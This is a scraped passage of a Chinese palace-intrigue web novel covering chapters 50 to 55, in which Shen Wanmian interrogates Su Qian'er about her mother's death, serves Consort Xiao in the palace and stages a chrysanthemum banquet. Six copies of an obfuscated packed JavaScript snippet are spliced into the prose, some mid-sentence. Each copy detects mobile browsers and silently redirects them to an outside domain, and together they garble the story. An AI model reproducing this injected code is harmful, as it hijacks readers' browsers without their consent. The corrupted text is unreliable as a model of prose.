她不光是服从命令，更多的其实是害怕。 她突然意识到，自己不过是一件附属品。 如果自己不听话，就会被他随意丢弃，甚至残害。 处理完下人后，苏倩儿哭了。 为什么，为什么会变成这样？ 明明前几天还好好的，老爷还亲手为她们母女下厨。 怎么短短几日，一切都变了。 是沈晚眠！就是她！ 她和她母亲一样，都喜欢抢走别人的幸福。 她为什么不**！ 沈晚眠打了个喷嚏，不用猜她都知道，是谁在骂她。 沈知舟辞了官，沈书玉又经历了不堪的事。 估计过不了几日他们一家就要启程回老家了。 她母亲的事还没有找落。 留给她的时间不多了，她得抓紧时间。 “阿烟，这张纸条明日送到苏倩儿面前，记得不要暴露自己。” 经过几日相处，阿烟对沈晚眠钦佩的是五体投地。 沈二小姐聪明机智，才智过人，胆大心细。 是她见过最有能力的女娘。 她已将完全被她折服了。 因此她现在做事很少跟七皇子汇报。 她知道沈晚眠心中有数。 翌日，阿烟将纸条绑在箭上，从百米外射到苏倩儿房里的案台上。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16061807|179035||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这可把苏倩儿吓坏了。 等她冷静下来，才发现箭上有张纸条。 她看完上面的内容后，脸上的血色瞬间褪去。 难怪老爷昨日会那般。 “刘嬷嬷，我要出去一趟，别跟任何人提起。” 苏倩儿将自己裹的严严实实，进了一家废弃客栈。 她警惕环顾四周，却没发现有人的痕迹。 “你是谁，快出来。” 她对着空气喊了一声，没有人回应。 “别装神弄鬼了，赶紧出来！” 依旧没有任何声音回应她。 她察觉不对，就要离开。 突然，一个蒙面女人从天而降，瞬间将她挟持。 沈晚眠从暗处走出，嘴角还噙着若有若无的笑意。 苏倩儿瞪大眼睛，表情狰狞。 “竟然是你！你想干什么！” 所以她给她写信，告诉她昨日发生的事，是为了引蛇出洞。 “你不能杀我，我……我…” 她连亲生父亲都能逼的辞官，更何况是对她。 除了要她的性命，苏倩儿想不出第二个沈晚眠将他诓出来的理由。 第50章 谜团 “杀你？我都怕脏了我的手。” “那你想干什么？” “不是说了吗，要和你谈交易，不过现在筹码变了。” 她骗苏倩儿出门时，写的是她手里有沈晚眠威胁沈知舟的账本，要她拿钱来交换。 苏倩儿为了沈知舟，也顾不得别的了，于是冒险只身入局。 “你想换什么？” 刀被架在脖子上，苏倩儿无路可退。 “用一个真相，换你一条命。” 苏倩儿问道：“什么真相？” 她敛下眉睫，深吸一口气。 努力让自己平和下来。 “我母亲的死，到底是天灾，还是人祸。” 苏倩儿仿佛听到了很好笑的事。 她的脸上尽是嘲弄之色。 “你觉得老天爷很闲吗，是个人就给降灾。” 沈晚眠眼睛的怒火几乎要喷出。 她握紧拳头，身体止不住颤抖。 “所以是你，害**我母亲！” 听到这话，苏倩儿笑的更猖獗了。 “我可不替你背这个锅。” “你说什么！？” “害死李园园的凶手，正是你啊。” 沈晚眠的耐心几乎被她耗尽。 “不见棺材不落泪是吧。” “动手！” 见她要来真的，苏倩儿慌了。 “我说的都是真的，李园园体弱，本就不能生，她怀你时大夫就说过了，是她不想活了，非要将你生下来，你说，是不是你害的。” 沈晚眠的脑子轰的一下炸开，她整个人都僵住了。 “你…你在骗我…” 苏倩儿不敢拿话继续刺激她，她在沈晚眠的眼睛里，窥见了昨日沈知舟的疯狂。 “不信你可以去问问府里的老人，她们都知道。” 苏倩儿说话的语气明显弱了下去。 沈晚眠威胁道：“如果被我查出来你说的是假的，我这里有一万个死法等着你。” “把她放了。” 她这几日做的事太过火，如果再添一条人命，谁都保不住她。 一开始她就没打算真的对苏倩儿做什么。 只想诈诈她。 就是不知她说的到底是不是真的。 苏倩儿一溜烟跑个没影。 沈晚眠卸下伪装，瘫坐在地上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16061808|179035||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 母亲真的是为了生她才死的吗。 她追寻两世的杀母仇人，竟然是她自己。 阿烟知道她心里不好受，赶忙上前安慰。 “你别信她的鬼话，肯定是她不敢说实话，才故意这样说。” 沈晚眠没说话，苏倩儿刚才的神态，不像是在说谎。 若一切是真的，母亲到底遭遇了什么，才会如此弃自己的生命与不顾。 “我没事，咱们回去吧，吉祥该等急了。” 回到沈府，下人们正忙前忙后的收拾东西。 她本以为沈知舟会躲在沈府逃避一阵子再走。 不想他这么快就要启程。 “小姐，最新消息，老爷没对外宣称辞官，只说要回乡修养些时日。” 一朝太傅正值壮年，突然主动辞官。 不免引人遐想。 如果只是暂时告假就合理多了。 况且还有沈书玉的事在前。 这事便更名正言顺。 “知道了。” 苏倩儿最后说的那番话久久萦绕在她心头。 始终挥散不去。 吉祥不知发生了何事。 第51章 入宫 自家小姐从进门开始便跟丢了魂一般。 “小姐，你怎么了，是不是哪里不舒服。” “我……” 一道细长的嗓音打断她们的对话。 “沈二小姐，好久不见了。” 福公公又来了，还带着青莲。 “二小姐，奴婢该回去了，今日特来向你道别。” 福公公不是萧贵妃身边的人吗，怎么会特意来接青莲？ “姑姑客气了，这两日多亏姑姑照拂。” “应该的，二小姐多多保重。” 福公公突然轻笑一声。 “青莲姑姑，您的道别有点早，我这次来还要办一件事。” 青莲微不可察的皱了皱眉：“公公还有何事？” 福公公意味深长的看她一眼。 “沈二小姐，贵妃娘娘有请。” 熟悉的人，熟悉的宫殿，熟悉的动作。 有那么一瞬间，沈晚眠感觉自己又回到了从前。 萧贵妃还是倚靠在塌上，不轻不重的说出那句：“沈晚眠，你可知罪。” 她依旧像之前那般回道：“臣女不知何事做错了，还请娘娘明示。” 萧贵妃不想演了，一直这般实在没意思。 “老实交代，昨日太子为何找你。” 萧贵妃可以不演，但她的戏得做足。 “回禀娘娘，昨日……昨日……请恕臣女实在不能说。” 萧贵妃想发作，但转念一想自己一会还有求与她，只能耐着性子询问。 “为何不能说，我这个做母妃的，连自己儿子的事都不能知道吗？” 沈晚眠故作为难：“这……不如您亲自去问殿下，事关重大，臣女不敢擅自开口。” 与此同时，裴宴推门而入。 “母妃，她说的没错，此事事关重大，原谅儿臣不能告知。” 就算告知了又能怎样。 如此荒谬之言母妃绝不会信。 只会当他们失心疯了，弄不好还会让沈晚眠丢了性命。 虽然他不喜她，上一世终究是她帮自己夺了皇位。 “既然太子不让问，本宫便放你一马，宴儿，你先出去，母妃有些话要单独跟她讲。” 裴宴看出萧贵妃的确意不在此。 便放心了。 裴宴走后，萧贵妃才说了她让沈晚眠来的真正目的。 “听说你精通算账，普通的账本在你眼前过一遍，就能看出毛病。” 来了，她果然没猜错，萧贵妃的真正目的，是要找她看账本。 上一世也是这个时候。 三皇子落网，皇后大权被夺，皇帝将协理六宫的权利交给萧贵妃。 可萧贵妃闲散了半辈子，哪里懂得柴米油盐。 只一个账本就将她急得团团转。 加上皇后独断已久，有能耐的宫人早已被她把持。 还在交权时，故意留下几本烂账。 萧贵妃一时间实在找不出人替她打理。 便让她去做，还冠冕堂皇的说是为了锻炼她。 当时的对看账一窍不通。 熬了好几个大夜才将账本琢磨清楚。 此后萧贵妃时常给她布置“学习任务”，她被迫成为了管家能手。 “不敢当，不过从小跟在祖母身边，学过些小把戏，怎么能入得了娘娘的眼。” 萧贵妃听到沈老夫人，眼睛都亮了。 被沈老夫人从小教导的女娘，定然差不了。 “沈老夫人的本事本宫自然知晓，我这里有一桩绝密的差事。” “此事涉及皇家秘辛，如果办不好亦或者泄露出去，是要掉脑袋的，你可愿试试？” 什么皇家秘辛，不就是皇后给她使的绊子。 上一世她是萧贵妃的准儿媳，她自然信她。 不过这一世，她们之间的交集少了许多，萧贵妃故意吓唬她也情有可原。 但是能选中她，也足以说明萧贵妃实在没招了。 沈晚眠重重朝她叩了个头。 “臣女愿为娘娘效劳。” 沈知舟走了，她一人与二房三房同住未免有些尴尬。 本来抱着试一试的心态崭露锋芒。 倘若萧贵妃不找她，她就借点银子在京城租间屋子。 亦或者去江南外祖家暂住。 可若是想揪出仇人，进宫才是最优选择。 沈晚眠在大宫女慧心的带领下，来到一间封闭的宫殿。 “娘娘说事关重大，她不敢轻易相信别人，更何况您是宫外来的。” “屋里有娘娘准备的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16071538|179035||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 考题，若您能在一炷香内完成，便算过关。” 就知道萧贵妃不会轻易用她。 “多谢姑姑指点。” 沈晚眠来到殿内，里面空荡荡的，只有中央的位置放着一套桌椅。 桌子上摆放着笔墨，和几页纸。 她随手拿起一张，忍不住吐槽。 这不就是皇后给的账本里的其中几页吗。 当时印象太过深刻，以至于过去十年她都没忘。 她很快上手，将里面有问题的地方纷纷圈注。 不到半炷香，她便整理好了。 做完后她又在房间里待了一会，估摸着时间差不多了才出去。 “劳烦姑姑帮我转交给娘娘。” 慧心不免称奇。 她倒挺懂规矩，知道自己此时不宜面见娘娘。 “嗯，您在此稍作休息。” 慧心离开不久，就又折返回来。 “小姐，娘娘要见您，跟奴婢来吧。” 萧贵妃终于从塌上下来，她端坐在主位，看起来十分淡定。 “你先坐，本宫有几个问题要问你。” 看来她的答卷很让萧贵妃满意。 不然也不会如此郑重。 “娘娘问便是，臣女定知无不言。” 萧贵妃就吃这一套。 “好，本宫问你，你可愿意在宫中多待些时日。” 最好给她培养几个心腹再走。 此话正合她意。 “臣女愿意，臣女的父亲带着姨娘和庶姐回了老家，将我独自抛在京城。” “若娘娘能容我一席之地，臣女感激不尽，能为娘娘效劳，更是臣女毕生之幸。” 萧贵妃听到她的这番“肺腑之言”，嘴角都快抑制不住。 “咳咳……好，记住你说的话，你也知道，如今的后宫是本宫的天下。若是让本宫发现你存别的心思，别怪本宫心狠手辣。” 沈晚眠仿佛受了天大的恩赐，她夸张的向萧贵妃谢恩。 “多谢娘娘，多谢娘娘，臣女定当肝脑涂地，誓死效忠娘娘。” 这一套动作，直接狠狠拿捏贵妃的心。 “行了，你先下去吧。” 沈晚眠刚转过身，萧贵妃突然又将她叫住。 “等等。” 第52章 暧昧 “你和珍妃还有裴宴，是什么关系？” 她被这丫头哄得晕头转向，差点忘了最重要的事。 “臣女叔父家四兄在七殿下麾下，他不过是想拉拢四兄才对臣女稍稍照顾。” 萧贵妃继续道：“那珍妃呢，她为何会无缘无故帮你？” “娘娘误会了，那日在元音寺，珍妃娘娘的佛经不小心被臣女弄脏，为了向珍妃娘娘赔罪，也为了求佛祖原谅我的无心之过。” “臣女才提出替她抄写经书，后面的事娘娘应该都知道。” 萧贵妃暂时打消了疑虑。 倘若她真的跟老七有什么，也不至于沦落至此。 “今日让慧心带你熟悉熟悉宫中规矩，明日一早你便干活吧。” “娘娘，臣女还有一事想求您开恩。” “说来听听。” 吉祥还在沈府，她离开时吩咐了阿烟保护她，可这不是长久之计，她得让吉祥跟在她身边才行。 “臣女自幼与丫鬟吉祥相依为命，臣女离家怕她会受到欺辱，所以……” “小福子，把人接进宫。” 沈晚眠赶忙跪下谢恩。 “多谢娘娘成全。” 夜里，沈晚眠又想起白日里苏倩儿的话。 如果真的是她害**母亲。 她怎么去面对远方的外祖一家。 外祖母如果知道自己的女儿是因为生她才去世的，又会怎么看待她呢。 “咚”，窗外冷不丁传来声响。 沈晚眠立马警觉起来。 “谁，出来！” 她拿起木棍，慢慢向窗边挪动。 “是我。” 裴行止翻身进窗，来到她面前。 “殿下？您怎么来了？” 裴行止没有回答她的问题，反而拿她的话问她。 “你怎么来了？” 就知道他会来问，只是没想到他动作这么快。 “当然是为了找出仇人，我觉得害我的不是沈书玉，可能另有其人。” 紧接着，她又补充道：“还很有可能是西瀛奸细。” 沈晚眠一脸认真的分析，他却一个字都听不懂。 “你……在说什么？” “我在说我遇害的事啊，你又不是不知道。” 裴行止呼吸一滞。 她都知道了！ 她什么时候知道的？ “此人太狡猾，藏匿的太深，说不定此刻他已在宫中。” 他那时就是在宫里被人用**带出去的。 后来父皇将皇宫翻了个底朝天，都没找到劫他的人。 说不定他们是团伙作案。 所以她的怀疑是合理的。 只是他震惊于她的坦荡。 “你……不生气吗？” 毕竟是他隐藏身份在先，事后还一直不与她相认。 说到这个她就来气，自己苦心经营这么多年。 到最后竟给他人做了嫁衣。 “当然生气，要是被我逮到那贼人，定将他千刀万剐。” 看她的样子，好像对自己的隐瞒毫不在意。 “好，无论你想做什么我都支持，宫里不比沈府，你要万事小心。” 他难道忘了自己上一世是干什么的了。 对付宫里人，她可是专业的。 “好，我会保重自己，你有任何需要也可来找我。” 毕竟是同盟，不能光让他帮她。 她也得帮他做点事。 “我这里的确有件事需要你做。” 沈晚眠好奇道：“什么事。” 裴行止向前一步，将彼此的距离拉近。 他弯下腰，直视着她的眼睛。 “我要你保护好自己，不许受伤。” 暧昧的气氛将二人包裹。 沈晚眠一时竟不知该如何回答。 “我知道了。” 她后退一步，这种感觉很不妙。 “早点休息，我走了。” 裴行止又去翻窗，刚落地，又翻了回来。 “这个给你。” 差点忘了他还有东西没送。 沈晚眠接过袋子。 “这是？” “安神香，闻着它睡觉会安心些。” 他知道她作息时常混乱。 现在她为萧贵妃做事，需得小心再小心。 “快去睡觉吧。” 沈晚眠看着床头燃着的香炉，心更乱了。 算了，别想那么多了，先顾好眼下吧。 后面几日，沈晚眠整个人都要被账本熏入味。 萧贵妃这是把她当驴用啊。 好不容易抽出时间去御花园喘口气。 她又遇上了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16071539|179035||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不速之客。 “沈二小姐，久仰大名，皇后娘娘有请。” 沈晚眠跪在地上，带她来的染秋冷哼一声，回到皇后身边。 皇后重重的咳了几声。 听起来很是虚弱。 “你就是沈晚眠，萧贵妃找的帮手。” 沈晚伏在地上，不敢抬头。 “皇后娘娘言重了。” 皇后想看看，究竟是怎样的女娘，能将沈府搅的天翻地覆，还能让萧贵妃和珍妃同时对她青睐有加。 “抬起头来，让本宫看看你。” 沈晚眠乖乖照做。 “沈太傅年少时只凭借一张脸就能让全京城女娘为他倾倒，这一点你倒是像他。” “不过他的眼里，可没有这么重的野心。” 来者不善啊。 “娘娘说笑了。” 皇后又咳了两声，染秋赶紧为她顺气。 “听说你账算的不错，老三挺般配。” 皇后到底什么意思，难道她想…… “只可惜老三已经有正妃了，不如你去当个妾。” 沈晚眠赶紧叩头求饶：“万万不可啊皇后娘娘。” 皇后面色冷下来：“怎么？你觉得我儿配不上你。” 皇后被夺了权，本就不痛快。 好不容易给对方下了绊子，还被自己破解了。 今日落到她的手上，沈晚眠只能自认倒霉。 “臣女不敢，只是……” “只是什么。” “只是臣女……” “皇后娘娘好威风啊，病还没好的，手都伸到臣妾宫里了。” 沈晚眠刚想说自己已有心悦之人。 可她怕皇后问是谁，所以犹豫了一下。 萧贵妃恰好出现，打断了她的话，省去了不必要的麻烦。 “萧贵妃，你这话是什么意思，你觉得本宫多管闲事？” 早些年萧贵妃为了争宠，与皇后斗的那叫一个你死我活。 只是后来日子久了，皇子们也都大了，都有了各自需要操心的事。 便渐渐停战。 再往后皇后执着把持权力，萧贵妃醉心享乐安逸。 她们对皇帝也越来越不上心。 久而久之，便握手言和了。 如今皇后重视的权利被剥夺，二人又有要开战的迹象。 第53章 酿酒 此刻更是达到了顶峰。 “沈二小姐的婚事，自当有沈家做主，与皇后娘娘何干？” 皇后气的脸更白了。 “本宫管不着，你更管不着！” 萧贵妃眉峰轻挑，嘴角勾勒出一抹挑衅的笑。 “臣妾是管不着，不过如今宫里的事务，全都归臣妾管。” 皇后一口气没上来差点背过去。 她手指指着萧贵妃，咬牙切齿道：“你……你……” “与其想着给你儿子纳妾，不如想想怎么把他捞出来。” “皇后好好养病吧，人我就带走了。” 说完，萧贵妃便带着沈晚眠离开了。 回到永和宫，萧贵妃气的一坐下就开始骂皇后。 “老不死的，欺负人都欺负到我头上了。” 以沈晚眠对她的了解，若是自己不跟着她一起骂，那下一个挨骂的就是她了。 “娘娘别气坏了身子，为了这点小事不值当，三皇子被终身幽禁，她最引以为傲的权利也落到了娘娘手里，怎么敢跟娘娘抗衡。” 萧贵妃发现，自己真是捡到了宝。 不光能力出众，还这么懂自己。 “哼，本宫忙的很，才懒得跟她计较。” “既然皇后不消停，本宫也不必给她留面子，我瞧御花园里菊花开的正好，不如办场菊花宴，让东西六宫好好看看，现在谁才是后宫的主人。” 沈晚眠跟着附和：“娘娘是该办场宴会，自您掌权以来，一直忙个不停，正好趁着宴会好好放松放松。” 她太了解萧贵妃了，被栓了这么久她早就不耐烦。 “要办就得好好办，不如请京城里最有名的角来宫里唱几出戏，好好热闹热闹。” 沈晚眠建议道：“娘娘，既是赏菊宴，光赏怎么行，不如以菊花入酒，入菜，更能契合主题。” 萧贵妃点点头。 “不错，就按你说的办。” “臣女之前在古籍里见过有关桂花入食的篇章，若娘娘信任臣女，此事就交由臣女来办可好。” 此刻萧贵妃已经对她完全信任。 “行，别让本宫失望。” 沈晚眠回到房里，今日也算因祸得福了。 吉祥看到她这么高兴，忍不住好奇道：“好久没见小姐笑了，可是遇到什么喜事？” “天大的喜事，吉祥，我们可以去见表兄了。” 于她而言，表兄是京城唯一的亲人。 这些日子发生了太多事，导致她进宫前没能跟表兄道别。 现在她终于有了理由去表兄任职的翰林院。 不枉她这些日子的辛苦。 萧贵妃从榻上下来，伸了个懒腰。 “沈二呢，她在哪？” 慧心回答道：“回娘娘，沈二小姐正在小厨房酿酒。” 毕竟她还年轻，萧贵妃还是有些不放心。 “走，去小厨房瞧瞧。” 萧贵妃来到厨房，发现沈晚眠正愁眉不展的对着酒槽。 “如何了？” 沈晚眠起身行礼。 “娘娘，您尝尝这酒，可还满意。” 萧贵妃象征性的尝了一点，品完后，她眼前一亮，将杯子里剩余的一饮而尽。 “不错不错，入口清甜，回味无穷，这酒酿的好。” 萧贵妃最擅长吃喝，能得她的夸赞，想必定是极品佳酿。 “多谢娘娘，不过菊花酒虽好，只喝酒却少了些韵味。” “臣女记得古籍中记载了菊花小食的做法，但日子太久，记不清了。” 单这酒已是极品，若是配着小食一起享用。 定是锦上添花。 “你可记得是何古籍？” “臣女不记得具体的名字，但让我看一眼里面的内容，我就知道是哪本了。” 典籍史书，大多都存放在翰林院。 “那你便拿着我的宫牌，去翰林院走一趟吧。” 见目的达成，沈晚眠在心底默默庆祝。 “是，臣女定不辱使命。” 翰林院里，一位侍读为沈晚眠介绍典籍。 “沈二小姐，这里存放着历年的食谱，应该有您要找的那本书，请问您是否需要小人帮您？” 沈晚眠微微一笑：“不用了，谢谢，能否劳烦您向李学士带句话。” 李言初如今已升副学士。 等到年末，大学士归乡，他便是新的翰林院掌权人。 “额，是这样的，李学士事务繁忙，恐怕……” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16071540|179035||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自从李言初进了翰林院。 每日来说亲的，都快将门栏踏破。 像沈晚眠这样未出阁的女娘，挤破了脑袋想见李言初一面。 “您误会了，我是李学士的表妹，今日好不容易出宫一趟，想跟兄长一见。” 侍读闹红了脸：“原来您是李学士的表妹，是小人唐突了，还请您勿怪。” “小姐稍等片刻，我这就去寻李学士。” 侍读离开后，沈晚眠看着眼前一排书架，突然来了兴趣。 她随意翻阅几本，用来打发时间。 古籍是她随口编的。 那菊花酒是她上一世自己发明的。 上一世她为了讨好萧贵妃，练就一身厨艺。 当然，包粽子除外。 区区下酒小食，她闭着眼都能做。 不过若是加上“古法”的名头。 便会让食物变得更“正宗”，更美味。 “昭昭喜欢看书吗？不如离开时带走几本回去看。” 沈晚眠惊喜的回过头。 “表兄，好久不见。” 李言初看到少女的笑颜，只感觉如沐春风。 “这里不方便讲话，跟我来。” 李言初将表妹带到自己办公的地方。 推开门，一股清幽的香气扑面而来。 是紫述香的味道，是银子的味道。 紫述香有价无市，多少达官贵人争着抢着都买不到。 表兄竟然把他用到这里。 果真“壕无人性”。 “听闻你父亲归乡了，你……有考虑过以后吗？” 沈晚眠摇摇头。 “暂时还没有。” 李言初涨红了脸，好半晌才问出那句话。 “你愿不愿意让我照顾你，我……我是说你愿意跟我回江南吗？” 沈晚眠不假思索的点点头。 “当然，我也想见见外祖家的亲人。” 不过表兄这话听起来怪怪的，要不是她知道他已有心悦之人。 她都以为他在向她表明心意。 见她答应的如此爽快，李言初有些不知所措。 “这就答应了，不考虑考虑？” 沈晚眠不解：“这还需要考虑？” 第54章 助人 李言初磕磕巴巴道：“没……不用，那我们何时……” 沈晚眠思索了一会：“等过段时间吧，等我从宫里出来。” 李言初点点头：“行，都听你的。” 他本以为只是自己单恋，没想到表妹对他也有意。 他便忍不住用热切的目光盯着沈晚眠看。 表兄这是怎么了，怎么这样看着自己？ “我脸上有脏东西？” 李言初尴尬的收回目光。：“没……没有。” 她出来的时间够久了，得回去交差了。 “时辰不早了，表兄，我先回去了。” “嗯，好，我送你。” 马车已经驶远，李言初却久久不能回神。 此事他还没跟家里说，他得回去写封家书，将昭昭的情况告诉祖母。 顺便让家里准备他们的婚事。 李言初想的出神，没注意后面有一道目光，正如鬼魅般，冷冷盯着他。 “侍卫大哥，求求您了，就让我进去吧，您看这天马上黑了。” 徐娇娇急的脸通红，因为着急进宫她的额头上还密布着细细的汗珠。 已经到了下钥的时间，这女人他们也不认识。 虽然她有宫牌，侍卫们也不敢轻易把她放进去。 “这是规定，不行就是不行。” 徐娇娇从包袱里掏出一锭银子，她有些犹豫，这是她最后的盘缠了。 若是给了侍卫还没能进宫去。 她今晚就彻底没地方去了。 她狠狠心，一把塞给侍卫。 “小女子从江南而来，在这京中也没有认识的人，宫里的兰嫔娘娘是我的姑母，今日我便是来投靠她的，劳烦您通融一下，让我进去吧。” 兰嫔？宫里的确有这么个人。 侍卫的态度稍稍缓和，但还是没有收她的银子。 “宫里是有规定的，我不能将你放进去，你明日再来吧。” 沈晚眠的马车停到宫门口，她刚从马车上下来。 侍卫就赶紧一脸谄媚的迎了上去。 “沈二小姐，您回来啦。” 沈晚眠神色淡淡的点点头。 “那快进去吧，专门为您留了门。” 沈晚眠在经过徐娇娇时，被她一把拉住。 “姑姑，我是兰嫔娘娘的侄女，求您将我带进去，行吗？” 侍卫脸色大变，赶忙上前把她拉开。 “放肆，这是沈太傅的嫡女，沈二小姐，哪里是你说的什么姑姑？” 徐娇娇一愣，赶紧改口。 “沈二小姐，是我有眼不识泰山，冲撞了您，但您能不能……” 沈晚眠记得她，是位很灵巧的姑娘。 “好，跟我走吧。” 有了沈晚眠的帮助，徐娇娇顺利到了储秀宫，找到了姑母。 兰嫔听徐娇娇说是沈晚眠帮她进来的，赶紧拉着侄女向她道谢。 “多谢沈二小姐，我这侄女天生粗笨，要不是您他今晚恐怕要露宿街头了。” 兰嫔性格软弱，又不受宠爱。 冷言冷语受多了，突然有人对她释放善意，她有些受宠若惊。 “娘娘言重了，不过是举手之劳，不足挂齿。” “贵妃娘娘还在等着回话，我就不多留了，告辞。” 沈晚眠从储秀宫出来就直奔厨房。 净完手后她便开始干活，很快，一个个精致的点心从她的手中捏出。 完工后，她带着点心去见萧贵妃。 “娘娘，这是我按古籍中所记载的方法做的菊花小食，请您尝尝可还能入口？” 萧贵妃尝了一个，忍不住点头称赞。 “口感细腻绵软，味道甜而不腻，不愧是老祖宗留下的。” 看吧，任何东西加上历史点缀就会增值。 “菊花宴上就用它做点心，你快下去多备些。” 金秋时节，暖阳洒下柔和光辉，御花园内一片热闹繁忙。 贵妃着华服，头戴金丝镶珠菊花钿，面容明艳，浅笑盈盈。 她轻移莲步，穿梭于宴间。 园里菊花盛放，黄的似金，白的若雪，粉的像霞，阵阵清香萦绕。 乐声悠扬，舞姬身着薄纱，似花间蝶舞，袖带翻飞，身姿轻盈。 宴席上，珍馐罗列，沈晚眠的菊花酒被摆在每个宫妃的桌子上。 萧贵妃坐于主位，仪态端庄，轻启朱唇：“宫里许久没有这么热闹过了，今日菊花宴，此酒以花调味，也算 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16071541|179035||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是应景，请姐妹们尝尝，可还满意。” 皇后倒台，后宫萧贵妃一人独大，在后宫待了这么久，谁还没点道行。 萧贵妃办此宴会，无疑是在告诉她们，以后后宫她最大。 各宫嫔妃相互对视一眼，随后一同起身向萧贵妃致谢。 “多谢娘娘赐酒。” 平日里斗得你死我活的这群人，如今都齐刷刷向她低头，萧贵妃满意极了。 “大家不必拘束。” “待会还有几出戏请姐妹们一起观看。” “哦？贵妃还请了宫外的人来吗，那怎么不邀请朕来看？” 皇帝大步流星而来，身后还跟着几位皇子公主。 妃嫔们见到皇帝立马起身行礼。 “臣妾恭请皇上圣安。” 皇帝来到萧贵妃身侧亲手将她扶起。 “免礼，都坐吧，你们也找位置坐。” 皇帝对着身后的孩子们道。 裴行止找到躲在人群中的沈晚眠。 二人的目光短暂交汇，随后沈晚眠迅速移开眼睛。 裴宴将这一切都看在眼里。 心里莫名生出一股怒火。 他还在这儿呢，二人就当着他的面眉来眼去。 该死的沈晚眠。 “陛下，您不是今日要考察皇子们的骑射吗，怎么还怪臣妾不邀请您。” 皇帝哈哈一笑。 “还不是你的酒太香，把朕给勾来了。” 皇帝端起贵妃的酒杯，仔细品了一口。 “嗯，不错，这酒是谁酿的？” 萧贵妃看向沈晚眠，示意她出列。 “回禀陛下是臣女。” “你是沈知舟的小女儿？” 在沈晚眠恭回答：“正是臣女。” 皇帝好奇道：“你父亲不是归乡了吗？怎么没带上你？” 沈晚眠刚要作答，萧贵妃抢先一步替她道：“要是跟她父亲走了，谁替臣妾酿酒？” 皇帝宠溺的笑了笑：“爱妃未免太霸道了。” 萧贵妃故意道：“人是臣妾的，皇上不不能给抢了去。” “行，人是你的，朕不抢。” 沈晚眠悄悄退下，知道这里没有自己什么事了。 第55章 看戏 “陛下，臣妾特意请了民间的戏班子来宫里唱戏，咱们过去瞧瞧？” “你是东道主，都听你的。” 皇帝的态度各宫嫔妃都看到了，看来这后宫之主真的要轮到萧贵妃来做。 众人移步来到戏台前。 皇帝拉着贵妃的手坐在首席，其余妃嫔皇子，接续坐下。 众人落座，台上开唱。 皇帝听了一会儿忍不住好奇道：“这戏文甚是有趣，怎么以前从未听过这是哪出戏？” 皇帝问出了众人心头的疑惑，她们也从没听过如此新奇的戏文。 也想看看能写出如此有趣的戏文是什么样的人？ 台上的戏子恭恭敬敬行了一礼。 “回陛下，草民不敢邀功，这戏谱，是昨日沈二小姐给我们的。” 皇帝有些惊奇：“哦？沈家小女娘竟还有此能。” 沈晚眠谦逊道：“都是贵妃娘娘教的好。” 